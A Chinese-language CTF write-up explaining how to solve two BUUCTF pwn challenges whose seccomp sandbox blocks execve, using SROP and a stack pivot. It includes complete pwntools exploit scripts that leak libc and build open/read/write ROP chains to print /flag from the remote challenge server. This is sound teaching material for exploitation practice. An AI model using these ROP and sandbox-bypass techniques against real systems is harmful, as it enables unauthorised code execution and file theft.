pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup

前言 最近做buuctf又发现一种以前没有见过的沙箱关闭execve的题目,在网上找了很多资料,终于初步了解了一些简单的绕过技巧,故写此博客记录一下。
[V&N2020 公开赛]babybabypwn 查看保护 pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
文章图片

保护全开的64位Linux程序。
IDA查看伪代码 pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
文章图片

直接进入main函数看看,发现syscall函数,并不是很了解这个函数,但是通过百度我们知道syscall的几个参数的意义。
第一个参数表示syscall调用的函数,例如题目中的15调用的就是sigreturn。
看到sigreturn相信很多人马上就联想到了SROP,不了解的推荐看一下CTFWIKI
这里详细的讲解了SROP的基础知识。
如果syscall调用的是sigreturn的话,那么第二个参数自然就是Signal Frame,通过CTFWIKI的学习我们知道这个Signal Frame存的就是所谓的即将恢复到栈上的寄存器的值。
pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
文章图片

–图片引自于CTFWIKI
通过这张图我们可以发现,我们可以传入Signal Frame来达到伪造的效果。
当然,这里不需要这么复杂,我们的pwntools早就帮我们弄好了专门用来伪造Signal Frame的方法。

frame = SigreturnFrame() frame.rdi = 0 frame.rsi = rop_addr frame.rdx = 0x200 frame.rip = read_addr frame.rsp = rop_addr

如上面的代码所言,我们只需要伪造出一个读入到指定地址的read函数即可。
解题思路 通过题目的syscall(15, buf)知道,这里我们直接传入我们构造好的Signal Frame,这样我们就可以往我们想要写东西的地址写东西了,由此就达到了任意地址写的目的。
我们此时想为什么不直接传入system呢?这样不直接getshell了嘛,还要任意地址写干嘛呢?
题目当然不会那么简单,只考一个知识点,这里我们通过前面的代码可以发现:
pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
文章图片

这里也就是博客名字的由来,沙箱关闭execve,也就是我们不能使用system等直接getshell的方式。那该怎么办才好嘞?这里我们可以用open,write,read三个函数来把flag读出来。具体思路是这样的:
我们首先把flag文件用open打开,然后使用read函数把flag读入到我们可以控制的地址,最后使用write函数打印在屏幕上即可。
思路很明确,但是程序打开了pie,我们很难利用到程序本身的函数,除非我们泄露出elf的基址,但是程序本身又没有直接泄露的函数,构造起来也十分麻烦。
但是大家应该注意到了前面程序泄露了一个puts的真实地址给我们,我们就很轻松的得到libc的基址了,这样的话,我们就可以一直利用libc里边的函数而不是利用elf中的函数了。
完整exp:
#! /usr/bin/env python from pwn import * from LibcSearcher import *#p = process('./vn_pwn_babybabypwn_1') p = remote('node3.buuoj.cn', 27169) p.recvuntil('Here is my gift: ') puts_addr = int(p.recvuntil('\n',drop = True),16) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') open_addr = libc_base + libc.dump('open') read_addr = libc_base + libc.dump('read') bss = libc_base + 0x00000000003C5720 pop_rdi = libc_base + 0x0000000000021102 pop_rsi = libc_base + 0x00000000000202e8 pop_rdx = libc_base + 0x0000000000001b92 rop_addr = bss + 0x600 frame = SigreturnFrame() frame.rdi = 0 frame.rsi = rop_addr frame.rdx = 0x200 frame.rip = read_addr frame.rsp = rop_addr p.sendafter('Please input magic message:',str(frame)[8:]) flag_addr = rop_addr + 0x78 #open(flag_addr,0) rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr) #read(fd,bss,0x30) rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x30) + p64(read_addr) #puts(bss) rop += p64(pop_rdi) + p64(bss) + p64(puts_addr) rop += '/flag\x00' sleep(0.5) p.send(rop) p.interactive()

这里还有一个地方前面忘记讲了,就是flag_addr是怎么来的,我看很多大佬的博客都是算的bss和flag的偏移,我这里是算的输入点到我们输入的’/flag\x00’的距离,大家可以自己数一下,是15个0x8,也就是0x78。
[V&N2020 公开赛]warmup 查看保护 pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
文章图片

64位Linux程序,保护没开canary,这里开不开区别不大。
IDA查看伪代码 pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
文章图片

pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
文章图片

pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
文章图片

这道题同样给了puts函数的真实地址,同样禁止了execve的系统调用,我们就只能采用open,read,write函数了。不同的是,这题并没有SROP的调用函数了。
让我们来看看有没有类似的利用方法:
我们发现sub_9A1中可以溢出0x10的数据,而sub_9D3并不能溢出数据,那该怎么构造ROP链呢?0x10也难以构造ROP链啊?
解题思路 既然,两个函数都不能溢出达到我们想要的效果,我们就只能想一想有没有其他的办法来解决这个问题。
我们很容易就可以发现sub_9A1是在sub_9D3里边调用的,既然这样,那么他们应该是共享一个栈的(类似),那么我们就可以使用ret这个gadgets来从sub_9A1中跳转回sub_9D3,把sub_9D3当作溢出的位置即可。这样的话我们只需要提前在sub_9D3布置好东西就行,这样就相当于sub_9A1可以溢出0x180+0x10这么多,这样就足够我们构造rop链了。
完整exp:
#! /usr/bin/env python from pwn import *r = remote("node3.buuoj.cn", 29303) context.log_level='debug' context(arch = "amd64", os = "linux") elf = ELF("./vn_pwn_warmup") libc = ELF("./libc-2.23.so")print r.recvuntil("Here is my gift: 0x") puts_addr = int(r.recvuntil("\n").strip(), 16) success("puts:" + hex(puts_addr))libc.address = puts_addr - libc.symbols['puts'] read = libc.symbols['read'] open = libc.symbols['open'] write = libc.symbols['write'] success("open:" + hex(open)) success("read:" + hex(read)) success("write:" + hex(write))libc_base = libc.address success("libc base:" + hex(libc_base)) ret = libc_base + 0x000937 pop_rdi = libc_base + 0x021102 pop_rsi = libc_base + 0x0202e8 pop_rdx = libc_base + 0x001b92 write_place = libc.sym['environ']#libc_base + 0x3C6500 also work read_place =libc.sym['environ'] + 8#libc_base + 0x3C6700print r.recvuntil("Input something: ")#read "/flag" payload = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(write_place) + p64(pop_rdx) + p64(0x100) + p64(read) #open payload += p64(pop_rdi) + p64(write_place) + p64(pop_rsi) + p64(0) + p64(open) #read flag payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(read_place) + p64(pop_rdx) + p64(0x100) + p64(read) #write_flag payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(read_place) + p64(pop_rdx) + p64(0x100) + p64(write)r.send(payload)print r.recvuntil("What's your name?") payload = 'a' * 0x70 + p64(0xdeadbeef) + p64(ret) r.send(payload) r.sendline('/flag\x00\x00') r.interactive()

【pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup】这里的write_place和read_place就相当于我们前面所说的libc中的bss段。

    推荐阅读